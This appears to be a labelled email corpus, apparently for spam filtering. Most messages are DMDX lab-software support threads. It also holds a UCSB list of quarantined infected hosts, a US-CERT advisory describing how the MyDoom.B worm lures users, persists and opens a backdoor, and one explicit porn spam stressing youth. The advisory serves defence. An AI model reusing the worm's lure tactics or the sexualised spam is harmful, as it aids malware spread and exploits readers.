that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.html): 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.62.72 host62-72.lsdepts.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.41 -- 128.111.81.44 -- 128.111.81.56 -- 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.83.85 kolmogrov.chemengr.ucsb.edu 128.111.92.216 -- 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.22 gamma.geog.ucsb.edu 128.111.107.111 lab11.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.115.106 -- 128.111.116.78 -- 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.122.116 hr116.ucsb.edu 128.111.124.43 dehan2.isc.ucsb.edu 128.111.138.160 -- 128.111.142.104 energy.ucsb.edu 128.111.142.221 -- 128.111.145.18 -- 128.111.159.71 -- 128.111.159.74 -- 128.111.162.145 -- 128.111.164.202 snake.mee.ucsb.edu 128.111.165.149 host165-149.lsdepts.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.192.130 ning.ece.ucsb.edu 128.111.196.200 SY196200.resnet.ucsb.edu 128.111.201.46 FSH20146.resnet.ucsb.edu 128.111.201.138 FSH201138.resnet.ucsb.edu 128.111.206.128 -- 128.111.217.25 host217-25.lsdepts.ucsb.edu 128.111.219.158 host219-158.lsdepts.ucsb.edu 128.111.221.6 waltz.mat.ucsb.edu 128.111.223.58 host223-58.lsdepts.ucsb.edu 128.111.225.113 -- 128.111.229.201 cutlass.ccs.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 CERT Advisory ,US-CERT Community:;,"Wed, 28 Jan 2004 19:13:04 -0500",US CERT Technical Alert TA04-028A MyDoom.B Rapidly Spreading," -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 MyDoom.B Rapidly Spreading Mydoom.B is a new variant of the Mydoom worm and is about 29,184 bytes. This variant attempts to perform a Distributed Denial of Service (DDoS) attack against Microsoft.com. Details regarding this new worm are still emerging, but it has been validated as spreading in the wild. Facts about the worm will be further qualified with follow up reports following this initial analysis. For the latest information about this worm from US-CERT, readers are encouraged to visit http://www.us-cert.gov/cas/techalerts/TA04-028A.html. E-mails sent out by Mydoom.B are highly randomized. The From address may be spoofed to include one of the following domains: aol.com, msn.com, yahoo.com and hotmail.com. A randomized string value may then be combined with these to generate new e-mails. This may result in overload e-mail servers with many false addresses and auto-replies associated with such traffic. The subject is randomized to include one of the following following: * Delivery Error * hello * Error * Mail Delivery System * Mail Transaction Failed * Returned mail * Server Report * Status * Unable to deliver the message The subject may also contain randomized data as seen in a recent live sample: ""RE: I still love you fLctv"". The message body is also randomized to include one of the following: * RANDOMIZED CHARACTERS * test * The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. * sendmail daemon reported: Error #804 occured during SMTP session. Partial message has been received. * The message contains Unicode characters and has been sent as a binary attachment. * The message contains MIME-encoded graphics and has been sent as a binary attachment. * Mail transaction failed. Partial message is available. The attachments have a randomized filename selected from one of the following string values: * body * doc * text * document * data * file * readme * message The randomized string value is then combined with a randomized extension: .exe, .bat, .scr, .cmd or .pif. If the malicious attachment is executed, it then opens notepad.exe and displays garbled data (binary). Once executed, the worm attempts to create the following files in the Windows System directory: explorer.exe and dtfmon.dll. The Windows registry is then modified to run the worm in memory upon Windows startup: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Explorer=C:WINDOWS SYSTEM DIRECTORY\\explorer.exe The DLL component is associated with a backdoor feature of this worm. It is likely that this Trojan worms like the one in Mydoom.A. It scans through a range of TCP addresses looking for inbound TCP traffic. Inbound TCP traffic can be used to configure the infected computer as a proxy computer or to install code of choice on the infected computer. More importantly, attackers are already working on tools to hijack Mydoom infected computers to install code of choice. The DDoS attack of Mydoom.B is against www.microsoft.com. There is information claiming that it may also be directed at sco.com, but this is unsubstantiated at this time. It appears that the more credible data is that it only performs a DDoS attack against www.microsoft.com, though a previosu version of the virus is confirmed to attack SCO. To spread over the KaZaA P2P network, Mydoom.B creates copies of itself in the KaZaA shared directory with randomized filenames. Filenames include: * attackXP-1.26 * BlackIce_Firewall_Enterpriseactivation_crack * MS04-01_hotfix * NessusScan_pro * icq2004-final * winamp5 * xsharez_scanner * zapSetup_40_148 A randomized extension is then added to the filename selected above, being .exe, .scr, .pif or .bat. Mydoom.B attempts to harvest e-mails from Temporary Internet files as well as via randomized e-mails aforementioned. It does not include any e-mails containing the following strings: abuse, accoun, certific, listserv, ntivi, icrosoft, admin, page, the.bat, gold-certs, feste, submit, help, service, privacy, somebody, soft, contact, site, rating, bugs, your, someone, anyone, nothing, nobody, noone, webmaster, postmaster, support, samples, info, root, ruslis, nodomai, mydomai, example, inpris, borlan, nai., sopho, foo., .mil, gov., .gov, panda, icrosof, syma, kasper, mozilla, utgers.ed, tanford.e, acketst, secur, isc.o, isi.e, ripe., arin., sendmail, rfc-ed, ietf, iana, usenet, fido, linux, kernel, google, ibm.com, fsf., mit.e, math, unix, berkeley and spam. Mydoom.B also opens TCP port 10080. The worm contains the following string: ""sync-1.01; andy; I'm just doing my job, nothing personal, sorry"". Alias: Mydoom, Novarg, Mydoom.B Sources: F-Secure Corp. (http://www.f-secure.com/v-descs/mydoom_b.shtml), Jan. 28, 2004 Bit Defender (http://www.bitdefender.com/bd/site/virusinfo.php?menu_id=1&v_id=186), Jan. 28, 2004 iDEFENSE Intelligence Operations, Jan. 28, 2004 Sensible Security Solutions Inc. (http://www.sss.ca/), Jan. 28, 2004 According to iDEFENSE, this new variant of Mydoom appears to have different MIMI data for malicious e-mails. The content type appears to be plain text and includes a ZIP extension. Mydoom.A had a content type of application/octet-stream and multipart/mixed data. It is likely that this newest variant of Mydoom will become very widespread in the wild. The first variant had well over 3M interceptions by just two sources in the first 18 hours of the outbreak. Look for questionable files about 29,184 bytes. Look for notepad.exe to be opened, displaying binary data (garbled text). Also look for the Windows registry created by the worm. Recovery: Remove all files and the Windows registry key modifications associated with this malicious code threat. Restore corrupted or damaged files with clean backup copies. Workaround: Configure e-mail servers and workstations to block file types commonly used by malicious code to spread to other computers. Block ZIP and executable extensions on the gateway and groupware level. Also monitor traffic on the network and block ports associated with Mydoom, especially inbound TCP ports for the backdoor Trojan component and the outbound TCP 10080 port data. Administrators may also find value in monitoring traffic associated with the DDoS component. Carefully manage all new files, scanning them with updated anti-virus software using heuristics prior to use. Vendor Fix: Anti-virus vendors will likely release updated signature files to protect against this malicious code in the near future. Some anti-virus applications may detect this malicious code heuristically. Name of Malicious Code: Mydoom.B Aliases: Mydoom.B Mydoom Novarg Size in Bytes: 29184 Subjects: RE: I still love you fLctv Body: Error 551: We are sorry your UTF-8 encoding is not supported by the server, so the text was automatically zipped and attached to this message. Attachments: message.zip This document was developed based on material contributed by iDEFENSE. Our thanks for their contribution. Last updated January 28, 2004 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAGEufXlvNRxAkFWARAjEOAJ92cfCtcUVX+/6CGoRwGj7mIbxhzQCg0mdJ /ip1ThurA7opfYb0JUET2UI= =j+iB -----END PGP SIGNATURE----- ",0,1 Goran Lazendic ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 14:04:35 +1100",[DMDX] Recording voice response on a laptop,"Hi All I have to do some fieldwork recording subject response in naming task; hence I have to use a laptop. I need an advice about the equipment that will enable me to make good quality recordings. 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I need an advice about the equipment that will enable me to make >good quality >recordings. My web search on the topic yield two options: a) a USB >microphone preamp; and >b) a USB headset like ones used for gaming that comes with in/line >amplifying capabilities. >According to equipment specification most of the hardware support DirectX >…. Does this means that >equipment will work with DMDX as well? I am open for all suggestions. Yes it'll work as well as your laptop's sound card drivers work. Which if past experience is anything to judge by is not very well at all but some of them do work. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fellow with closed mind often has open mouth. ",0,0 Goran Lazendic ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 17:40:23 +1100",[DMDX] Re: Recording voice response on a laptop,"Thank you for the prompt answer Jonathan. Can anyone give me the names of sound card drivers and/or laptops combinations that work well with DMDX. Goran On 29/01/2004, at 4:13 PM, j.c.f. wrote: > At 02:04 PM 1/29/2004 +1100, you wrote: >> Hi All >> I have to do some fieldwork recording subject response in naming >> task; hence I have to use a >> laptop. I need an advice about the equipment that will enable me to >> make good quality >> recordings. My web search on the topic yield two options: a) a USB >> microphone preamp; and >> b) a USB headset like ones used for gaming that comes with in/line >> amplifying capabilities. >> According to equipment specification most of the hardware support >> DirectX …. Does this means that >> equipment will work with DMDX as well? I am open for all suggestions. > > Yes it'll work as well as your laptop's sound card drivers work. > Which if past experience is anything to judge by is not very well at > all but some of them do work. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Fellow with closed mind often has open mouth. > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 09:52:21 +0000",[DMDX] Re: Recording voice response on a laptop,"At 06:40 29/01/2004, you wrote: >Thank you for the prompt answer Jonathan. >Can anyone give me the names of sound card drivers and/or laptops combinations that work well with DMDX. >Goran I've used a USB soundcard (Soundblaster Extigy) and a standard microphone preamp (although the preamp may not have been necessary).This works fine with the latest DMDX even on a relatively old laptop. Gareth --------------------------------------------------------------------------- Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Home page: http://www-users.york.ac.uk/~mgg5/ Research group: http://www.york.ac.uk/res/prg/ ---------------------------------------------------------------------------- ",0,1 Karina Easley ,DMDX@psy1.psych.arizona.edu,"Wen, Thu, 29 Jan 2004 09:31:28 -0500",Karina and her friends nude,"hello! my name is Karina our friend seduced us to make some photos and videos i and my girlfriends posed naked for him you can see my site http://girlpodium.com we are young and innocent you'll like our little pussies -- Karina 1qj ",1,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 14:14:34 +0100",[DMDX] RE : Re: Recording voice response on a laptop,"one way to avoid external pre-amps is to make sure you switch on the MicBoost (+20dB) in the windows microophone control panel. This is an internal amplifier which in my experience has worked fine. WE use HIFI headsets with microphones here (axpect to pay ~80€ in europe) A dell inspiron laptop with its standard sound card (don't have the machine wioth me right now) works fine >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Gareth Gaskell >Sent: Thursday, January 29, 2004 10:52 AM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Recording voice response on a laptop > > >At 06:40 29/01/2004, you wrote: > >>Thank you for the prompt answer Jonathan. >>Can anyone give me the names of sound card drivers and/or laptops >>combinations that work well with DMDX. Goran > >I've used a USB soundcard (Soundblaster Extigy) and a standard >microphone preamp (although the preamp may not have been >necessary).This works fine with the latest DMDX even on a >relatively old laptop. > >Gareth > >--------------------------------------------------------------- >------------ > Gareth Gaskell > Department of Psychology > University of York > Heslington, York YO10 5DD UK > > Phone: 01904 433187 Fax: 01904 433181 > Email: g.gaskell@psych.york.ac.uk > Home page: http://www-users.york.ac.uk/~mgg5/ > Research group: http://www.york.ac.uk/res/prg/ >--------------------------------------------------------------- >------------- > > > ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 08:34:22 -0700",[DMDX] Re: Recording voice response on a laptop,"At 05:40 PM 1/29/2004 +1100, you wrote: >Thank you for the prompt answer Jonathan. >Can anyone give me the names of sound card drivers and/or laptops >combinations that work well with DMDX. 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",0,0 Joel Lachter ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 10:45:47 -0800","[DMDX] frame """" 1 tick late","Hi, We just got some new monitors with faster refresh rates and I have been getting quite a few display timing error messages. Many of them claim that the error is in ""frame """""". I am wondering if that refers to the blank frame at the end of the trial. Here is an example item with the corresponding error message. +3409 ""#######"",""#######""/""#######"",%3""WHONE""/""#######"",%3""glask""/""#######"",%3""LANED""/""#######"",%3""trooch""/""#######"",%3""CLOUCH""/""#######"",%7""#######""/""event"" ,%16 ""#######""/""%@$?$@%"",*""MEMORY""/; ! Display error at msec 1788670.77, tick 253995 in item 3409, frame """" ! moved into video memory 1 tick late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 2 ticks Thanks, Joel",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA20030 for ; Thu, 29 Jan 2004 15:27:10 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA05555 for ; Thu, 29 Jan 2004 15:27:10 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AmLYf-00083c-3d; Thu, 29 Jan 2004 15:26:49 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AmLYH-00083D-9g for csf@ucsb.edu; Thu, 29 Jan 2004 15:26:25 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AmLXw-00082p-Eu for csf@ucsb.edu; Thu, 29 Jan 2004 15:26:04 -0800 Message-ID: <4019968B.6010401@UCSB.edu> Date: Thu, 29 Jan 2004 15:26:03 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. 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",DMDX@psy1.psych.arizona.edu,"Thu, 29 Jan 2004 17:33:30 -0700","[DMDX] Re: frame """" 1 tick late","At 10:45 AM 1/29/2004 -0800, you wrote: >Hi, > >We just got some new monitors with faster refresh rates and I have been >getting quite a few display timing error messages. Many of them claim that >the error is in ""frame """""". I am wondering if that refers to the blank >frame at the end of the trial. More than likely, don't see any other blank frames. >Here is an example item with the corresponding error message. > >+3409 ""#######"",""#######""/""#######"",%3""WHONE""/""#######"",%31>""glask""/""#######"",%3""LANED""/""#######"",%31>""trooch""/""#######"",%3""CLOUCH""/""#######"",%7""#######""/""event"" >,%16 ""#######""/""%@$?$@%"",*""MEMORY""/; > >! Display error at msec 1788670.77, tick 253995 in item 3409, frame """" >! moved into video memory 1 tick late >! (previous frame's duration will have been longer) >! -- possibly caused by another process taking 2 ticks If you have somewhat old video cards it might be time to consider newer cards, with 10 frames and lower amounts of video memory DMDX won't be able to buffer the last few frames so has to move them into video memory once the item has started executing -- and something else is interfering with that every now and then. That or use a less demanding video mode, say 16 bit instead of 32 if you're using it. If you have GeForce video cards and are running DMDX with a shortcut that overrides it's use of many display buffers it's time to download the later drivers that no longer have the yawning chasm of a bug that the earlier drivers did and stop using the -buffers 2 shortcut. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fellow with closed mind often has open mouth.",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id KAA30946 for ; Fri, 30 Jan 2004 10:45:44 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id KAA16390 for ; Fri, 30 Jan 2004 10:45:44 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AmdeA-000NSe-U8; Fri, 30 Jan 2004 10:45:42 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Amde6-000NSU-C9 for csf@ucsb.edu; Fri, 30 Jan 2004 10:45:38 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Amde5-000NSP-Gb for csf@ucsb.edu; Fri, 30 Jan 2004 10:45:37 -0800 Message-ID: <401AA650.1080502@UCSB.edu> Date: Fri, 30 Jan 2004 10:45:36 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. 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The first time always throws an error: ""Analyze.exe has encountered a problem and needs to close. We are sorry for the inconvenience."" So, I run it again and it always works the second time -- as long as I select the same files. As soon as I select a different file, the error is thrown again. does anyone else have this aggravating little problem? if so, have you figured out a way around it? (putting analyze.exe in the same directory as the files to be analyzed doesn't help) thanks matthew ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Fri, 30 Jan 2004 15:47:03 -0500",[DMDX] RE: analyze,"problem solved. changing the compatability mode of analyze to Win98 (instead of whatever the default was) has it working just fine now. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of > Matthew Finkbeiner > Sent: Friday, January 30, 2004 1:06 PM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] analyze > > > I have an XP machine and when I run analyze, I have to do > each analysis twice. The first time always throws an error: > ""Analyze.exe has encountered a problem and needs to close. > We are sorry for the inconvenience."" So, I run it again and > it always works the second time > -- as long as I select the same files. As soon as I select a > different file, the error is thrown again. > > does anyone else have this aggravating little problem? if > so, have you figured out a way around it? > > (putting analyze.exe in the same directory as the files to be > analyzed doesn't help) > > thanks > > matthew > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Jan 2004 14:18:00 -0700",[DMDX] Re: RE: analyze,"At 03:47 PM 1/30/2004 -0500, you wrote: >problem solved. changing the compatability mode of analyze to Win98 >(instead of whatever the default was) has it working just fine now. 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I'm trying to program a grammaticality judgement expt in DMDX. - Words are presented for a particular time dependent of their length. - The subject has to press a button as soon as the sentence gets ungrammatical. - the sentence is aborted after a keypress. - ""CORRECT"" feedback is presented if the subject presses the key anytime after the first wrong word or doesn't press it during a correct sentence, otherwise ""WRONG"". The Problem: The Expt works, but from time to time a keypress is missed, with the result that the sentence does not abort and the RT is not gathered. I tried various versions, but nothing seems to help... I built a similar ""zil"" version which showed that sometimes only the release of the key is stored, so the press must have been missed somewhere between the frames... Does anyone have an idea what the reason could be? (I thought it may be a problem to determine the frame duration through the time-out, but it didn't seem to make a difference changing that...) Many thanks! *** Here is a part of the itemfile: (item 1-9 is the feedback routine, items 1501-1505 are just to make the output-file easier to read.) *** 1 ; 2 ; 3 ; 4 ""FALSCH!"" / ; =5 * "">> nächster Satz bei Tastendruck >>"" ; 6 ; 7 ""RICHTIG!"" / ; =8 * "">> nächster Satz bei Tastendruck >>"" ; 9 ; 10 ; 1100 / ""+""/ / ; ^1101 * ""The"" /; ^1102 * ""woman"" /; -1103 * ""are"" /; -1104 * ""tall"" /; -1105 * ""."" /; -1106 * ""???"" ; =1501 * ; =1502 * ; =1503 * ; =1504 * ; =1505 * ; 1999 ; 999999 ; 0 ""Ende des Versuchs. Vielen Dank fürs Mitmachen!""; Daniel Müller University of Freiburg Department of Cognitive Science",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 02 Feb 2004 11:00:37 -0700",[DMDX] Re: keypress not recognized,"At 05:32 PM 2/2/2004 +0100, you wrote: >The Problem: >The Expt works, but from time to time a keypress is missed, >with the result that the sentence does not abort and the RT >is not gathered. I tried various versions, but nothing >seems to help... >I built a similar ""zil"" version which showed that sometimes >only the release of the key is stored, so the press must >have been missed somewhere between the frames... > >Does anyone have an idea what the reason could be? DMDX doesn't gather responses across items. You've already got a zero delay parameter so it's not going to get much better. The only solution without changes to DMDX is to have the whole sentence presented regardless of responses. It's faintly possible given that you're using the keyboard (as opposed to a polled input device) that DMDX could buffer up responses across items but you're into the sponsorship bracket there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. 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I seem to remember hearing that with critical timing, >computers don't like to be a) Connected to a LAN b) Even have their network >cards present despite not being connected to the network. > >Does anybody know about this ? Is b) really a problem ? No. Machines are fast enough now that it's no longer an issue. Assuming of course that the machine running DMDX isn't serving up any of it's resources. > In our case we >were going to log users on 'locally', hopefully bypassing the network. > >Second, I want to do some mobile testing on a laptop (Toshiba Tecra S1, >1.4ghhz centrino, 32mb Radeon 9000 video memory). This machine will not be >connected to the network at the time of testing nor indeed at any point >thereafter. , However, it still contains an inbuilt LAN card. Is this likely >to be a problem ? No. If it's got a WiFi card you might consider disabling it. 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I seem to remember hearing that with critical timing, >computers don't like to be a) Connected to a LAN b) Even have their network >cards present despite not being connected to the network. > >Does anybody know about this ? Is b) really a problem ? No. Machines are fast enough now that it's no longer an issue. Assuming of course that the machine running DMDX isn't serving up any of it's resources. > In our case we >were going to log users on 'locally', hopefully bypassing the network. > >Second, I want to do some mobile testing on a laptop (Toshiba Tecra S1, >1.4ghhz centrino, 32mb Radeon 9000 video memory). This machine will not be >connected to the network at the time of testing nor indeed at any point >thereafter. , However, it still contains an inbuilt LAN card. Is this likely >to be a problem ? No. If it's got a WiFi card you might consider disabling it. I don't know if the wireless stuff draws on the CPU but it's a possibility. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Feb 2004 08:21:11 -0700",[DMDX] RE: Re: DMDX & Network cards,"At 10:21 AM 2/5/2004 +0000, you wrote: >Thanks very much for your swift reply Jonathan. The desktops won't be >serving up anything. You can always un-install File and Printer sharing just to be sure. > The laptop has a hardware switch to enable/disable >wireless LAN so I think I'll be o.k. That's interesting, I always wondered how you were supposed to get XP installed on a machine with a wireless card without getting the Blaster on it. With ethernet you simply unplug the machine, install XP, turn on the firewall on and then plug the network in. But if it's wireless and you can't turn it off in the BIOS what are you going to do? A hardware switch is a very welcome solution. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fellow with closed mind often has open mouth. ",0,0 mgivertz@email.arizona.edu,dmdx listserve ,"Thu, 05 Feb 2004 11:18:47 -0700",[DMDX] Fwd: Re: best operating system for dmdx,"I should have posted this to the list in the first place. My mistake. I post it now so that others will potentially benefit from the information. Michelle ----- Forwarded message from jforster@psy1.psych.arizona.edu ----- Date: Thu, 05 Feb 2004 10:35:41 -0700 From: ""Jonathan C. Forster"" Reply-To: ""Jonathan C. Forster"" Subject: Re: best operating system for dmdx To: mgivertz@email.arizona.edu So why can't you post this to the list? At 08:55 AM 2/5/2004 -0700, you wrote: >Hi there. I was able to track down a Dell with 1.7 GHZ to use in the >study, and I had a quick question for you about operating systems. Do >you recommend Window's '98 over XP, or the other way around? XP. I'll only use 98 if a machine doesn't have the resources to run XP and if it doesn't have the resources to run XP I'm not interested in using it. > I may be >mistaken, but I sort of remember you saying something about having a >preference for XP. It's an easy change while we're making the switch >over to this other machine which is currently running Window's '98, so >I thought I would do myself a favor and check it out with you. As long as it's got over 128MB of RAM it's fine for XP. >Thank you very much, by the way, for your help thus far. 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I am wondering if anyone can help me with the following problem. I am in the process of upgrading the computer I will be presenting my stimulus on, and I've run into a problem. I currently have an ISA I/O card for dmdx and I need a PCI I/O card for dmdx. Does anyone know where I can make such an acquisition? Thanks, Michelle Michelle Givertz, Ph.D. Research Specialist Department of Psychiatry University of Arizona (520)626-8568 ",0,0 Corinne Haigh ,dmdx listserve ,"Thu, 05 Feb 2004 15:02:01 -0500",[DMDX] Problem with word naming script,"Hi all, We are having some problems with a word naming script (I will paste an excerpt below). It currently works fine on our Dell Inspiron 5100 running Windows XP. However, when we try to run it on a different computer, a Sony PC6-9401 laptop running Windows ME, we get this message: unknown switch character 's' (ssspacebar) We have tried everything we can think of, but don't really know what the error message means. We have checked the box in DMDX that says ""Ignore unknown RTF character"". One potential reason for the problem may be that the RA who installed DMDX on the computer had a problem while installing instmsiw. Any help anyone can give us would be greatly appreciated! Thanks in advance, Corinne Haigh Excerpt of script: N66 $ 0 “Press SPACEBAR to start the Beat the Clock game” ; +100 “+”//*”dog”/ ; +101 “+”//*”bat”/ ; +102 “+”//*”game”/ ; +103 “+”//*”cat”/ ; +104 “+”//*”ran”/ ; +105 “+”//*”the”/ ; $ +1 “+”//*”letter”/ ; +2 “+”//*”train”/ ; +3 “+”//*”orange”/ ; etc...",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 Feb 2004 13:29:12 -0700",[DMDX] Re: PCI I/O card,"At 12:47 PM 2/5/2004 -0700, you wrote: >Hello. I am wondering if anyone can help me with the following problem. > I am in the process of upgrading the computer I will be presenting my >stimulus on, and I've run into a problem. I currently have an ISA I/O >card for dmdx and I need a PCI I/O card for dmdx. Does anyone know >where I can make such an acquisition? ISA PIO cards can function under XP -- not guaranteed but it's possible. If you have the Computer Boards ISA card you might try it under XP with their InstaCal software and drivers. We have moved away from ISA cards not so much because of XP but because almost all motherboards no longer have ISA slots. Assuming you need the PCI card for the same reasons use the PCI-DIO24 (it's actually cheaper than a new ISA card): http://www.measurementcomputing.com/cbicatalog/cbiproduct_new.asp?dept_id=142&pf_id=821&mscssid=XK94DRDW4VMB8G0MKUUSQRACA5VG1J2A /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. ",0,1 Kristopher Ian Mathis ,DMDX@psy1.psych.arizona.edu,"Fri, 05 Mar 2004 12:37:40 -0800",[DMDX] RE: PCI I/O card,"The DMDX documentation recommends the PCI-DIO24 card from Measurement Computing. 